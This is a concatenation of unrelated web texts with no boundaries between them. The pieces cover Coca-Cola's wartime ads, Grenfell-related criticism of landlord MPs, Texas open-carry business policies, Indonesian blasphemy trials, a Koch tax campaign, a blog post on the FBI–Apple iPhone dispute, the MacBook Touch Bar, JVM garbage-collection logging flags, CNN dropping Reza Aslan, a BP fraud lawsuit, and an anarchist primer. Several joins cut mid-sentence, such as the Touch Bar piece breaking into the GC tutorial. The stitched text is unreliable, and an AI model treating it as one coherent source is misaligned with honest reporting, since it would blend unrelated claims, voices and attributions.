At the start of the U. S. involvement in the war, Coca- Cola knew it needed to adjust its advertising. Coca-Cola attempted to create the same American images, but under in a wartime context. The February 21, 1942 issue of The Saturday Evening Post replaced the young couple sitting at the soda fountain with two smiling soldiers. The happy, no worries lifestyle image prevailed. The ad appears tidy, neat, in order, and under control. As long as there was Coca-Cola, everything was fine. The soda fountain scenario was making its appearance once again, but this time it had been adapted to a nation at war. For example, a professional female soda jerk stands behind the counter representative of females in the work place during wartime.
In 1943, Coca-Cola put out an advertisement urging people to buy U. S. War Bonds and War Stamps. The newly created elf-looking Coca-Cola mascot named "Sprite" appears in the ad stating, "I'm saying this for Uncle Sam!" and warning "And no matter what anybody is doing to help (this doesn't go for fighting men) nobody is doing his full share if he's not buying U. S. War Bonds and War Stamps regularly. Are you buying them? Are you buying your share in Victory and in the good American way of Life?" Coca-Cola strongly aligned itself with the war effort. In another wartime advertisement Coca-Cola shows three major wars in American history: the Civil War, World War I, and World War II. The caption next to the Civil War picture reads: "Stonewall Jackson taught us what the pause that refreshes really means.... On the march he gave his men rations of sugar and at intervals required them to lie down for a short rest. Thus he marched troops farther and faster than any other general in the field. Since his day all marching troops have been given a short rest period out of every hour." The ad reconstructs history by asserting that even Stonewall Jackson understood the need to "pause and refresh" oneself. Therefore, the ad suggests that Stonewall would have had a Coca-Cola and supported its importance to the wartime effort. The other two pictures of soldiers reveal Coca-Cola's patriotic role in American war history.
By 1944, Coca-Cola became known as "The Global High Sign." This ad campaign showed men in uniform together enjoying Coca-Colas. The advertisements reinterpreted friendship and community. One early ad shows a group of young boys drinking Coke while sticking their feet in a fountain, whereas one of the wartime images shows GIs with a crate of Coca-Cola in a foxhole. Coca- Cola had reconstructed the American community because it aimed not only to fit the changing times, but also to continue representing American values and ideals. Another ad in the September 16, 1944 issue of The Saturday Evening Post has two women Allies enjoying "a friendly pause" together. The scene resembles an ad created four years earlier where two women enjoy a Coca-Cola while taking a break from their shopping. The women in the earlier image focus on the Fashion News section of a newspaper, while the women in the wartime image gaze at a wallet-size photo of a soldier. The copy reads: "There's a friendly phrase that speaks the allied language. It's Have a "Coke." Friendliness enters the picture when ice-cold Coca-Cola appears. Over tinkling glasses of ice-cold "Coke," minds meet and hearts are closer together. It's a happy custom that's spreading 'round the globe." The friendship, though the same, has been adapted to the times. The wartime ad aligned Coca-Cola with the American ideal of good will. Coca-Cola helped create and maintain good relations among the allied forces. Where would they have been without it? All of the advertisements associated with the war sent a similar message to the reader: "Coca-Cola is an essential part of America's war effort. If you don't drink it, you're not American."
Other soft drink advertisements of the day chose less patriotic approaches to advertising. Neither of the advertisements shown present their product as a patriotic product like Coca-Cola does. Therefore, Coke stands high above the rest as a symbol of America.
This high status did not come without a cost. Coca-Cola borrowed $5.5 million in order to place more than 64 bottling operations in foreign countries during the war. But the risk they took paid off. More than 11 million veterans returned home with a "lifelong attachment" to Coca-Cola. They had paused to refresh themselves more than a billion times during the war (Allen, 265). In an American Legion magazine survey of GIs, more of them preferred Coke over Pepsi by a factor of more than 8 to 1. Therefore, in the following years Coca-Cola capitalized on its position in the American heart and mind. In 1950, a Time magazine article proved that Coca-Cola was still a quintessential American icon. The cover showed an image entitled "World & Friend" with the subtitle "Love that piaster, that lira, that tickey, and that American way of life." The smiling red Coca-Cola disk happily serves the world a Coke, or more accurately, a dose of the American way of life. The article described Coca-Cola's international endeavors as a "peaceful near-conquest of the world" and as "one of the remarkable phenomena of the age" (Beverage World, 168). It also praised Coca-Cola's efforts to ship overseas the American way of life. Apparently, to the author of the article, as well as to the American readers, Coca-Cola and the American way go hand-in-hand. The Coca-Cola disk holds the world in his hands, just as America did at that time after emerging as the leading world power after World War II.
Competitors cringed at Coke's association with the American way, a reality that was being splashed across every newsstand and coffee table in the country. Pepsi complained of unfair treatment, accusing Time of doing the story because Coke advertised in the magazine. Upset, Pepsi Export's newsletter, the Bulletin, reprinted a comment written in Walter Winchell's column: "Time mag usually pummels its Front Cover subject. But Coca-Cola is given the Kid Glove Treatment. Moral: It Pays to Advertise" (Allen, 278).Theresa May’s new Police and Fire Minister, Nick Hurd, was among the 72 Tory MPs – who are also residential landlords – that voted against a motion to make homes “fit for human habitation.”
Many people have been reposting articles about the debate in Parliament last January in light of today’s tragedy at Grenfell Tower.
Labour submitted an amendment to the Government’s Housing and Planning Bill designed to ensure all rental properties were “fit for human habitation.”
The need to improve fire prevention was explicitly set out by then Shadow Housing Minister Teresa Pearce. Proposing the amendment, she said:
“New clause 53 is about safety and would introduce a requirement for landlords to undertake electrical safety checks. Many organisations from across the sector support the measure, such as the Local Government Association, the London fire brigade, Shelter, the Association of Residential Letting Agents, British Gas, Crisis and the Fire Officers Association. They have all given their support in the past to measures that will see the introduction of mandatory electrical safety checks. “It is estimated that electricity causes more than 20,000 house fires each year, leading to about 350 serious injuries and 70 deaths across the UK. Carbon monoxide, gas leaks and other fires and explosions cause fewer deaths and injuries, with 300 injuries and 18 deaths—these risks remain serious and it is right that we should continue to monitor them, but that shows what is at stake as regards electrical fires in the home.”
Labour’s amendment was defeated with the help of the 72 Tory MPs who top up their Parliamentary salaries as landlords.
Hurd, who makes at least £20,000 a year rental income from a 2 bedroom flat in Ruislip and a house in London, was among them.
Today, as Police and Fire Minister, he is leading the Government’s response to the Grenfell tragedy…With the state's new open carry law set to go into effect January 1, private institutions need to choose whether or not they will allow people to openly carry licensed handguns on their property. The law says most government-owned properties cannot prohibit open carry (although which government properties have to abide by that is still up in the air), and it lets private business owners decide if they want to opt out of the law. Those who choose to opt out must clearly display signs indicating open carry is not OK.
The law puts private businesses in an uncomfortable spot by forcing them to publicly make a decision. If you prohibit guns, you risk losing pro-gun rights customers. If you allow guns, you may risk the safety of customers and employees, and you could lose customers who favor gun control.
Some private institutions have already opted out of open carry, like Rice University and, most recently, grocery store chain H-E-B. But there are a lot of places with unclear policies regarding open carry, making things like a trip to the bank or an overnight stay at a swanky hotel a bit confusing for people openly toting their guns (and for other people hoping to avoid those people). It seems some businesses we reached out to would rather ignore the fast-approaching law (or at least our inquiry) altogether, preferring the safe public image of ambiguity as opposed to establishing a clear and potentially divisive gun policy.
Continue Reading
Here's a list of some private businesses and institutions that have made their policies clear:
Grocery store chains H-E-B, Whole Foods and Safeway (which owns Randall's) announced last week that they will not allow open carry inside their Texas locations. “As a retailer of alcohol, long guns and unlicensed guns are prohibited on our property under the Texas Alcohol and Beverage Commission rules,” H-E-B said in a statement, according to USA Today. “H-E-B maintains the same policy we have for years, only concealed licensed handguns are allowed on our property.”
But gun owners can carry their handguns openly in Kroger grocery stores, Breitbart reported last week. "If the local gun laws are to allow open carry, we’ll certainly allow customers to do that based on what the local laws are," Kroger CFO Michael Schlotman told CNBC in March, according to Breitbart. "We don’t believe it’s up to us to legislate what the local gun control laws should be. It’s up to the local legislators to decide to do that."
Meanwhile, some big-box retailers like Target have also decided they don't want guns inside. "This is a complicated issue, but it boils down to a simple belief: Bringing firearms to Target creates an environment that is at odds with the family-friendly shopping and work experience we strive to create," current CFO John Mulligan said in an online statement in July. "We... respectfully request that guests not bring firearms to Target – even in communities where it is permitted by law." Meanwhile, Wal-Mart has not issued an official statement on its open carry policy in Texas, but it appears to have left the decision whether to allow open carry to individual stores, like this one in Waco, which told the Waco Tribune last week that it would be banning open carry.
The Houston Galleria announced last week that it will remain mostly gun-free. "As a private property owner, [Galleria parent company] Simon will continue to enforce its existing policy of not allowing possession of any weapon on its property whether concealed or displayed openly, other than licensed weapons carried by law enforcement personnel," Galleria General Manager Greg Noble said in a statement, according to KHOU. "Once the law goes into effect, any shopper in possession of a weapon will be individually notified of Simon's existing policy by a member of the security or management team and asked to comply."
Local private colleges Rice University and University of St. Thomas have decided to opt-out of the state's campus carry law. In a letter announcing the university's decision, Rice president David Leebron said pretty much every student or faculty organization the university consulted was "overwhelmingly opposed" to allowing guns on campus.
For now, you are not allowed to carry weapons at the Houston Zoo. The zoo reinstated its gun ban a few months after a gun rights activist threatened to sue the zoo if it did not take down its signs prohibiting guns, claiming the zoo is on city-owned property and is not a private business. Zoo spokesperson Jackie Wallace said in a statement that the zoo believes it can legally ban guns because it is an educational institution. "Given the mission of the Zoo and the presence of hundreds of thousands of children on its campus, it is clear that guns and zoos simply do not mix," Wallace said in the statement. The zoo's gun ban will likely be reviewed by the state Attorney General's office.
The Houston Zoo took its gun ban down for a bit, but the signs went back up after the zoo consulted with a legal team and determined it was OK to be gun-free. Photo courtesy of T. Edwin Walker
A long list of national chain restaurants have said that they do not want guns inside their eateries, including Applebee's, Jack in the Box, Wendy's, Starbucks, Sonic, Panera, Chili's, and Chipotle. We also reached out to Chick-fil-A, but have not received a response.
In July, Whataburger announced that it would not allow customers to carry openly in its restaurants. "We’ve had many customers and employees tell us they’re uncomfortable being around someone with a visible firearm who is not a member of law enforcement, and as a business, we have to listen and value that feedback in the same way we value yours," CEO Preston Atkinson said in a statement on Whataburger's website. "We have a responsibility to make sure everyone who walks into our restaurants feels comfortable. For that reason, we don’t restrict licensed concealed carry but do ask customers not to open carry in our restaurants."
On Monday, the Chron reported Gringo's Mexican Kitchen and Jimmy Changa's said they would not allow open carry in their restaurants. “We didn’t feel that it’s necessary to allow someone to open carry in an atmosphere where children and families frequent. Plus there is alcohol at our locations," Russell Ybarra, who owns both Tex-Mex chains, told the Chron on Monday.
Chuck E. Cheese's sent out a memo to its Texas stores a few weeks ago outlining its gun-free policy, all but ensuring that the entertainment restaurant's ball pit will retain its title as the most hazardous thing inside, narrowly edging out the pizza (*see the end of this post for a very important ball pit-related correction). "To ensure the safety of our guests and employees, it is Chuck E. Cheese’s policy that guests may not carry fire arms into our restaurants, whether openly or concealed," Chuck E. Cheese's spokesperson Alexis Linn said in a statement to the Houston Press. "This policy does not, however, apply to law enforcement officers, whether in uniform or in plain clothes, who may always bring their service weapon into our restaurants. Law enforcement personnel who are out of uniform simply must present a badge and photo identification. In accordance with the new Texas law, we are posting signs that state our policy regarding the open carry of fire arms near the front entrances of each of our Texas restaurants, where they may be clearly seen by all our guests."
The Burger Shack Grill along the Katy Freeway is unabashedly a safe space for burger-loving gun owners, with a few signs posted in the windows urging customers to bring their guns:
EXPAND The Burger Shack pretty clearly allows you to bring your licensed weapon. Screenshot, Yelp
Churches are private businesses too, so we reached out to Joel Osteen's megachurch inside the Loop, Lakewood, to find out what they plan on doing once the open carry law goes into effect, but we have not yet received a response.
The ritzy Four Seasons Hotel downtown sent us an odd reply when we asked about its gun policy in advance of the open carry law.
"Thank you for reaching out to Four Seasons Houston," Four Seasons Houston spokesperson Hilary Rosenstein said in an email. "We are going to pass on this opportunity with the Houston Press. I hope you have a great holiday season and thank you for thinking of us!" We tried one more time, thinking maybe something was lost in translation. But nope: "We understand your desire for comment but will respectfully pass on this coverage. We wish you all the best with the story."
Unless a "no guns" sign quietly pops up on the premises sometime soon, one can only assume that the Four Seasons' refusal to explain its gun policy translates to the allowance of people to carry weapons on its property.
Similarly, Bank of America offered a less-than-specific response. In emails, spokesperson Tara Burke would only say that the bank will "abide by state law." Again, based on that non-answer it seems as though the bank's Texas branches will allow open carry inside. How security will be able to differentiate a lawful gun-toting citizen from your average bank robber is unclear. We checked with Chase Bank, too, but they did not respond. (See update at the end of this story)
It's hard to tell if the businesses who have declined to clarify their open carry policies have done so out of ignorance of the new law or to preserve their public image, but it's clear that many businesses won't have gun policies in place by January 1, which doesn't really do anyone — lawful gun-toting customers or citizens simply seeking gun-free zones — much good.
—
*Correction 5 p.m.: Much to our surprise and disappointment, Chuck E. Cheese's no longer has ball pits. Linn said in an email that Chuck E. Cheese's had removed the ball pits from all locations by 1998.
"We actually started getting rid of them in ’95," Linn said. "We found that we were able to bring in games that kids still loved but that didn’t require the extensive cleaning process that the ball pits required. So that boils down to operational efficiency. The other reason was safety, which is always our #1 priority. Kids would dive under the balls to the point where they weren’t visible [to] other children jumping in…nobody needs a shoe in the face!"
We deeply regret this unfortunate error.
Also: R.I.P. Chuck E. Cheese's ball pits.
Updated 11:30 a.m.: Chase Bank will not prohibit open carry, according to an email sent to us by spokesman Greg Hassell on Wednesday morning: "In states where open carry of a weapon is allowed, we do not restrict a customer from carrying a weapon, unless that customer is acting in an aggressive, hostile or intimidating manner, or making menacing references to a weapon."JAKARTA, Indonesia — Back in his days as a badminton coach with the Indonesian national team, Ahmad Mushaddeq traveled the world on the state’s dime. But after he became the spiritual leader of a back-to-the-land organic farming movement on the island of Borneo, regarded by his followers as the messiah who succeeded Muhammad, the government locked him up for the second time on charges of blasphemy.
This week, an Indonesian court sentenced him to a five-year prison term, and gave two other leading figures of Milah Abraham, the religious sect he established, prison terms as well. The sentences, delivered on Tuesday, were the latest in a continuing crackdown on new religious movements across Indonesia that has alarmed human rights groups.
“The verdict is another indicator of rising discrimination against religious minorities in Indonesia,” said Andreas Harsono, the Indonesia representative for Human Rights Watch. He called for a review of state institutions that “facilitate such discrimination, including the blasphemy law office.”
Indonesia’s blasphemy laws have become a focus of debate ever since Basuki Tjahaja Purnama, the hard-charging Christian governor of Jakarta, was indicted on charges of insulting the Quran in November. While his case has drawn the most attention, a significant portion of the more than 106 people convicted on blasphemy charges since 2004 are not Christians or even unorthodox Muslims, but self-proclaimed prophets and their apostles.Charles and David Koch's political network will spearhead a multimillion-dollar campaign to tout the recently passed Republican-backed tax plan in 2018.
The campaign will be made up of television, radio and digital advertisements in addition to door knocking, workshops, phone banking and various events, according to BuzzFeed News.
The effort comes as Republicans and Democrats gear up for the 2018 midterm elections, in which the tax plan is likely to be a hot-button issue.
ADVERTISEMENT
A spokesman for the Koch network told BuzzFeed that the political group had not decided on how much to spend on the effort.
"It is hard to project a precise figure," James Davis said. "It depends on what is needed to make a strong impact and connect Americans to it."
Davis went on to say Americans still need to be informed about the benefits of the plan.
"Given that the tax reform bill was just finalized, there’s a lot of work to be done educating Americans about its benefits," Davis said. "We will make a massive push to show how pro-growth policies can revitalize the economy and open the floodgates to new opportunity, innovation and prosperity. There’s no doubt this was an historic achievement, but it was only the first step."
News of the effort comes a day after the House gave the final green light on the legislation on Wednesday, sending the bill to President Trump Donald John TrumpREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails Trump urges North Korea to denuclearize ahead of summit Venezuela's Maduro says he fears 'bad' people around Trump MORE's desk.
The legislation, which marks a major legislative victory for Trump and congressional Republicans, would cut taxes and repeal the ObamaCare individual mandate.
Polls show the plan is deeply unpopular with the American public.
An NBC News/Wall Street Journal poll released on Tuesday found that only 24 percent of Americans polled said they believed the plan was a good idea, while 41 percent said it was a bad idea.Feeble Noise Pollution
FBI, Apple, liberty, security, blah blah blah
thaddeus t. grugq Blocked Unblock Follow Following Feb 19, 2016
There are a number of key points I want to highlight that are going to get lost in the hot takes. So, here is my hot take.
Bottom Line Up Front
Farook and Malik were amateur terrorists who conducted an attack more reminiscent of American “going postal” workplace violence than an operation directed by a terrorist organisation.
Farook destroyed his personal phone. The FBI wants access to his work phone. UPDATE: FBI locked themselves out of the iCloud account after it was seized.
FBI already has huge amounts of data from the telco and Apple. This is almost certainly enough to rule out clear connection with any other terrorists.
FBI is playing politics, very cynically and very adroitly.
FBI already has a massive amounts of data, all of which indicates that Farook and Malik were not in contact with a foreign terrorist organisation, nor were they in contact with any other unknown terrorists.
Even if, despite all evidence to the contrary, Farook and Malik were somehow in invisible traceless contact with an ISIS handler, that handler would not have revealed information about other cells, because that would violate the most basic tenet of security — need to know.
Inept Terrorists
“Wage jihad err’yday”
As terrorists, Farook and Malik were not particularly highly skilled. They were unable to assemble functional IEDs. After they completed their attack, they drove around a bit then went home. They appear to have had no coherent operational plan extending beyond the execution of the attack. This is amateur hour. (Contrast with a professional terrorist operational plan.)
The FBI complains that they don’t know what happened for 18 minutes after the shooting. This sort of “losing sight of the target” happens all the time during surveillance. The shadow makes a note, and moves on. There is basically no chance that the Malik cell used this 18 minute window for making first contact with other operatives in the US. These guys were not highly trained operatives working hard to lose surveillance and achieve 18 minutes “in the black” so they could… send a text message?
Workplace Mass Shootings, as American as Apple Pie
They do not appear to have outside direction from a real terrorist group. It is extremely unlikely that a terrorist group would allow the target selection done by the Malik cell. An office holiday party for an obscure government agency is not the sort of high profile (or symbolic) target that terrorist organisations tend to attack.
This attack is more American (“going postal”) than it is ISIS. Until Facebook discovered their bayat to ISIS (posted after the attacks) it was unclear whether this was a common workplace mass shooting or a terrorist action.
The attack suggests American influences more than foreign terrorist organisation direction.
Call Data Records and Other Traces
Verizon has provided the FBI with all the data they have from the mobile devices used by the two shooters. This includes:
the locations,
the calls,
the SMS messages,
the Internet data, including volume (and probably DNS, IP, and web logs)
The FBI probably knows everyone that Farook and Malik were in contact with. The FBI probably know everything of interest already. If there was a hint of any connection with a terrorist organisation they would have announced it already. They have, instead, been clear that there was nothing suggesting any such contact took place.
“The Freedom Act works. Theres no evidence of foreign terrorism. So, lets go destroy Internet security, then ice cream?”
Personal Phone Destroyed
Media reports suggest that Farook and Malik had personal phones that they completely destroyed after the attack. This destruction was complete enough that there is nothing that can be forensically recovered.
It seems unlikely that Farook would use his work issued phone to contact and discuss terrorist activity rather than his personal device. He would have to add the contact, install the app, etc. This would have to occur in the short window after he disabled iCloud backups and before he conducted the attack.
It is unclear why Farook would destroy his personal phone but not his work phone if the work phone had sensitive data. They were already destroying two devices, why not three? They were executing some sort of “going dark” plan. It seems entirely possible that they didn’t see the need to destroy a device that was never used for anything sensitive.
Farook’s Work Phone’s iCloud Backup
The iPhone 5C in question was the work phone provided to Farook by his employer. This device was backed up by iCloud until about 6 weeks before the attack.
UPDATE: The FBI locked themselves out of the iCloud account, preventing further backups, after the device was seized.
The FBI has complete content of everything from iCloud up until 6 weeks before the attack.
including connection logs and IP addresses you’ve used. … and any other information that can be backed up to iCloud. As of this writing, this list includes contacts, calendars, browser bookmarks, Photo Stream photos, anything that uses the “documents and data” feature (which can include not just word processors but also photo and video apps, games, and data from other applications), and full device backups.
Source: ArsTechnica
The key point here is that the iMessage content would be available in backups.
Is the FBI playing politics?
Yes. That is kinda what they do. It is what they always do. They are being extremely cynical in this case. They have selected a case which will cast the tech vendors in the worst possible light. The FBI has been planning exactly this for a while, waiting only for an attack that would provide the pretext.
Privately, law enforcement officials have acknowledged that prospects for congressional action this year are remote. Although “the legislative environment is very hostile today,” the intelligence community’s top lawyer, Robert S. Litt, said to colleagues in an August e-mail, which was obtained by The Post, “it could turn in the event of a terrorist attack or criminal event where strong encryption can be shown to have hindered law enforcement.”
Source: Washington Post (emphasis added)
“We need a pretext to get some legal precedent to destroy Internet security”
CYA Scare Tactics
The FBI is really keen to ensure they don’t make any falsifiable statements. This would be career ending if they were wrong, so instead they are making all sorts of scary vague statements.
In the immediate hours after the Dec. 2, 2015 shootings, some witnesses told law enforcement officers and reporters that they saw three gunmen at the center. But by the end of the day, the FBI had issued a statement saying there were only two confirmed shooters, local residents Syed Farook and his wife, Tashfeen Malik. Farook worked with many of those he gunned down at the party.
“What we have confirmed is evidence indicating that two weapons were fired at the Inland Regional Center,” Laura Eimiller, a spokesperson for the FBI Los Angeles, told ABC News this week. “But in the absence of video it’s something you can’t entirely rule out until every question is answered. There’s still unanswered questions.”
Source: ABC News
There were confused eye witness accounts. Eye witness accounts are always confused and frequently wrong, particularly about things like “how many masked gunmen were shooting at you while you tried to hide?” or “how many people do you think you saw while you weren’t paying attention to them?” There is only evidence for two shooters. There is nothing to indicate that there was a third militant involved, or that Farook and Malik were in contact with any other Islamic militants in the US.
Indeed, there has been no indication that they were in contact with anyone associated with a terrorist organisation, either foreign or domestic. They seem to be a clear case of a leaderless resistance cell.
It is extremely unlikely that they were in contact with anyone else who is currently unknown to the intelligence community.
ISIS Isn’t That Dumb
If they were in contact with anyone in ISIS (which seems unlikely given the American style target selection and the non functional IEDs), then for security reasons that ISIS handler should not reveal the existence of any other cells. This is very basic compartmentation.
The only reason that a terrorist organisation would place cells in contact with each other, breaking the most basic and fundamental security rules, is to conduct multiple attacks simultaneously. This is what ISIS did in France for the Charlie Hebdo attacks in January 2015.
If there was an ISIS handler and if there was another cell that the Maliks were in contact with, that cell would have gone operational at around the same time. Since there have been no other terrorist attacks in the US, they were not in contact with another cell. QED.
There is no point contaminating two cells without an operational reason, such as logistics or coordinated attacks. ISIS are not that incompetent.
The PIN
After all this, the PIN for Farook’s work phone is probably — 1234.
UPDATE: Slate has an interesting analysis of the value of the data on the phone, reaching the same conclusion: there’s probably nothing.People love a Greek tragedy. Icarus has flown too close to the sun and tumbled to Earth. Apple has forgotten its core users and been eclipsed by Microsoft. The Touch Bar is a compromise between adding a touch screen on a MacBook and ignoring touch entirely.
These narratives are easy to sketch because they sell better to readers than moderated, honest inspection of sentiment and behavior. If you have heroes and villains, then everything is a zero-sum game and nothing that competitors do can exist on their own merits.
The MacBook Pro’s Touch Bar is the right thing to do because people don’t use touch screen laptops like they do tablets.
I’ve got a Surface Pro at home which I enjoy. The pen is cool, the hardware is neat and the touch interactions are super useful in some cases. (It totally falls down as a tablet but that’s another discussion.) My time with the Surface, along with plenty of conversations that I have had with people who use touch-enabled laptops or laptop analogues, has taught me this simple truth:
Most people use touch screens for light interactions a half dozen to a dozen times a day.
These machines are not tablets; there is a work surface area and a view area. Any interaction you take on the screen has to be worth you moving your hands from your work area to the view area, obscuring a portion of the content that you’re viewing, and taking an action. The wrist rest and keyboard position also mean that you sit far back from the screen — and whether you touch a screen is almost always a function of how close your hands are to it. Most of those actions are also taken on large touch targets like the Start button and other tappable things.
Having a discrete bar that can update with context, allowing you to take those dozen daily actions makes total sense. Far more sense than bolting a touch screen onto a non-touch-optimized OS and forcing you to poke at tiny buttons meant for a mouse.
One thing that the Touch Bar does not solve for is scrolling, but I think that’s why the MacBook’s trackpad was made oversize.
In keeping with my theme, I am not here to vilify Microsoft or its approach. As a reformed |
multiple threads (like above, 8 threads).
The detailed output for the different generations enables us to reason about the GC cause. If, for any generation, the log states that its occupancy before GC was almost equal to its current capacity, it is likely that this generation triggered the GC. However, in the above example, this does not hold for any of the three generations, so what caused GC in this case? With the Throughput Collector, this can actually happen if GC ergonomics (see part 6 of this series) decides that a GC should be run already before one of the generations gets exhausted.
A full GC may also happen when it is explicitly requested, either by the application or via one of the external JVM interfaces. Such a “system GC” can be identified easily in the GC log because in that case the line starts with “Full GC (System)” instead of “Full GC”.
For the Serial Collector, the detailed GC log is very similar to that of the Throughput Collector. The only real difference is that the various sections have different names because other GC algorithms are being used (for example, the old generation section is called “Tenured” instead of “ParOldGen”). It is good that the exact names of the collectors are used because it enables us to conclude just from the log some of the garbage collection settings used by the JVM.
For the CMS Collector, the detailed log for young generation GCs is very similar to that of the Throughput Collector as well, but the same cannot be said for old generation GCs. With the CMS Collector, old generation GCs are run concurrently to the application using different phases. As such, the output itself is different from the output for full GCs. Additionally, the lines for the different phases are usually separated in the log by lines for young generation GCs that happen while the concurrent collection is running. Yet, being familiar with all the elements of GC logging that we have already seen for the other collectors, it is not difficult to understand the logs for the different phases. Only when interpreting durations we should be particularly careful and keep in mind that most of the phases run concurrently to the application. Thus, as opposed to stop-the-world collections, long durations for individual phases (or for a complete GC cycle) do not necessarily indicate a problem.
Ad we know from part 7 of this series, full GCs can still happen when the CMS Collector does not complete a CMS cycle in time. If that happens, the GC log additionally contains a hint as to what caused the full GC, e.g., the well-known “concurrent mode failure”.
In order to keep this article reasonably short, I will refrain from giving a detailed description of the CMS Collector GC log. Also, one of the actual authors of the collector has already published a great explanation here, which I highly recommend for reading.
-XX:+PrintGCTimeStamps and -XX:+PrintGCDateStamps
It is possible to add time and date information to the (simple or detailed) GC log. With -XX:+PrintGCTimeStamps a timestamp reflecting the real time passed in seconds since JVM start is added to every line. An example:
0,185: [GC 66048K->53077K(251392K), 0,0977580 secs]
0,323: [GC 119125K->114661K(317440K), 0,1448850 secs]
0,603: [GC 246757K->243133K(375296K), 0,2860800 secs]
And if we specify -XX:+PrintGCDateStamps each line starts with the absolute date and time when it was written:
2014-01-03T12:08:38.102-0100: [GC 66048K->53077K(251392K), 0,0959470 secs]
2014-01-03T12:08:38.239-0100: [GC 119125K->114661K(317440K), 0,1421720 secs]
2014-01-03T12:08:38.513-0100: [GC 246757K->243133K(375296K), 0,2761000 secs]
It is possible to combine the two flags if both outputs are desired. I would recommend to always specify both flags because the information is highly useful in order to correlate GC log data with data from other sources.
-Xloggc
By default the GC log is written to stdout. With -Xloggc:<file> we may instead specify an output file. Note that this flag implicitly sets -XX:+PrintGC and -XX:+PrintGCTimeStamps as well. Still, I would recommend to set these flags explicitly if desired, in order to safeguard yourself against unexpected changes in new JVM versions.
“Manageable” Flags
A frequently discussed question is whether GC logging should be activated for production system JVMs. The overhead of GC logging is usually rather small, so I have a clear tendency towards “yes”. However, it is good to know that we do not have to decide in favor of (or against) GC logging when starting the JVM.Report: CNN Drops Reza Aslan Following Profane Anti-Trump Comments
CNN has decided to not renew Reza Aslan’s show ‘Believer’ days after several profane anti-Trump tweets by Aslan were found on his Twitter account, reported Variety.
Reza Aslan.
“CNN has decided to not move forward with production on the acquired series ‘Believer with Reza Aslan,’” the network said in a statement. “We wish Reza and his production team all the best. “
Aslan is an Iranian refugee who came to America with his family during the Iranian revolution of the late 1970s. Aslan later became a U.S. citizen and is a religious scholar by profession and education.
The tweet that led to Aslan’s downfall called President Trump a “piece of shit” in a comment on Trump’s tweet reiterating support for his proposed anti-terrorist travel ban after the latest terrorist attack on London.
Aslan posted an insincere apology that said profanity was out of character for him.
I should not have used a profanity to describe the President when responding to his shocking reaction to the #LondonAttacks. My statement: pic.twitter.com/pW69jjpoZy — Reza Aslan (@rezaaslan) June 4, 2017
But as Twitchy reported, numerous tweets posted by Aslan used profanity to attack Trump and others. In one tweet Aslan wished for a Republican congressman to be raped.
Aslan was called out by one of his targets, Donald Trump, Jr., of whom he wrote, “Like piece of shit father, like piece of shit son.”
Screen images of now deleted tweets via Newsbusters.
Reza Aslan apologizes, saying it’s ‘not like me’ to use profanity. He’s lying and these tweets prove it ==> https://t.co/CLZFIVxVp2 — Donald Trump Jr. (@DonaldJTrumpJr) June 5, 2017
Media Research Center Brent Bozell had demanded CNN cut ties with Aslan. Score another one for the good guys.
My statement about the cancellation of #Believer pic.twitter.com/ITtXAyQwd5 — Reza Aslan (@rezaaslan) June 9, 2017
UPDATE: Aslan posted a statement to Twitter.ORANGE BEACH, AL- JUNE 27: A dead fish laying on the sand is seen with oil residue on it from the Deepwater Horizon oil spill in the Gulf of Mexico on June 27, 2010 in Orange Beach, Alabama. Millions of gallons of oil have spilled into the Gulf since the April 20 explosion on the drilling platform. (Photo by Joe Raedle/Getty Images)
HOUSTON, Dec 17 (Reuters) - BP Plc filed a fraud lawsuit in U.S. court on Tuesday to halt some of the $2.3 billion it set aside to compensate commercial fishermen for losses claimed after the British oil company's 2010 offshore oil spill, the biggest in U.S. history.
The latest court action by BP seeking to reduce payments from the spill alleges that part of a group of fishermen hurt by the spill, clients of lawyer Mikal C. Watts, did not exist.
"We now know that over half of Watts' alleged clients were phantoms: individuals never represented by Watts, in a number of cases not even commercial fishermen, and in some instances individuals who are deceased," BP said in its court filing.
Watts's law office did not provide immediate comment.
BP said about $1 billion has already been paid out from the its so-called Seafood Compensation Fund, including payments to eight people represented by Watts.
The company did not say how many people in total have already received payments from the seafood fund, which has $1.3 billion left in it.
BP wants the court to halt the payouts, look into the fraud allegations, and potentially recover some of its money.
The company said Watts filed 648 individual crew claims - less than two percent of the more than 40,000 claimants he purported to represent. Of those 648 claims, eight have been found eligible while 17 claims are still pending, the oil company said.
BP, which still faces potential fines under the Clean Water Act, has filed numerous lawsuits to curb payouts related to the spill after taking provisions for $42.4 billion to cover the clean-up, compensation and fines.Click the image below to follow the link to the.pdf zine formatted for printing (select ‘flip on the short edge’ option when printing), or scroll down to read the zine formatted for web here.
How to Use this Primer
If you are interested primarily in learning about what Anarchist Black Shield plans to do, you may find sections 6-8 the most helpful. If you are interested in the reasoning behind Anarchist Black Shield and a basic discussion of our politics, you will find that in sections 1-5. If you’re already sold and want to get involved, skip to the last section. All footnotes are found at the end of the document.
Contents
Motivation Abstraction & Delusion Right Knowledge & the Parasites of Anarchism Repairing the Self-Interest Rift A New approach to Knowledge Organization Project Deliverables Transparency Closing Statements & How to Get Involved
Motivation
Imagine you are an isolated clockmaker. How do you invent a pendulum clock? Would you first learn the relevant physics equations and then attempt to calculate all of the optimum details for each part? Or would you try various arrangements of real parts, guided by educated guesses, until you found one that sort of worked, and then begin to generalize more closely about optimal arrangements? I think most people would choose the second option, which puts experimentation before theory. But imagine you chose the first, which puts theory before experimentation. Would you be surprised if your calculations were off? Take a simpler situation for example. If you calculated that it would take five minutes to go five miles on the highway at a speed of 60 miles per hour, and then you set the cruise control for 60 mph and reset the trip meter at the same time as a stopwatch, would you be astonished if it took you more or less than five minutes? Probably not. Why?
Reality does not always conform to our models, nor should it be expected to. This example illustrates one key problem for radicals. Many of us often experience conversations with other anarchists that broach a complex level of philosophical development far abstracted from the concerns of developing anarchist normative ethics and strategies for improving life right now. Ideological divides in anarchism run from the Wooden Shoe Collective to yesterday’s explosive post on Reddit. There is a time and place for everything, and over-engaging in ideology wars is not dissimilar from trying to calculate the details of every part of a hypothetical pendulum clock before one has ever been built. It engages in putting theory before experimentation, and values ‘theory’ over praxis.
Abstraction and Delusion
Taking the analogy further in an effort to explain this behavior, note that we have both the physical pendulum clock which exists external to our minds, and the model of that clock which exists in our minds. Let’s consider both to be real elements of a perfectly knowable reality, in the spirit of physicalism.[1] Some terminology will help us here: let us term external reality [2] the clock (and everything else) as it exists independently of our experience. Yet, to make a distinct break with dualistic and pluralistic ontological approaches, [3] let us term the model which exists in our minds a mapping of reality. [4]
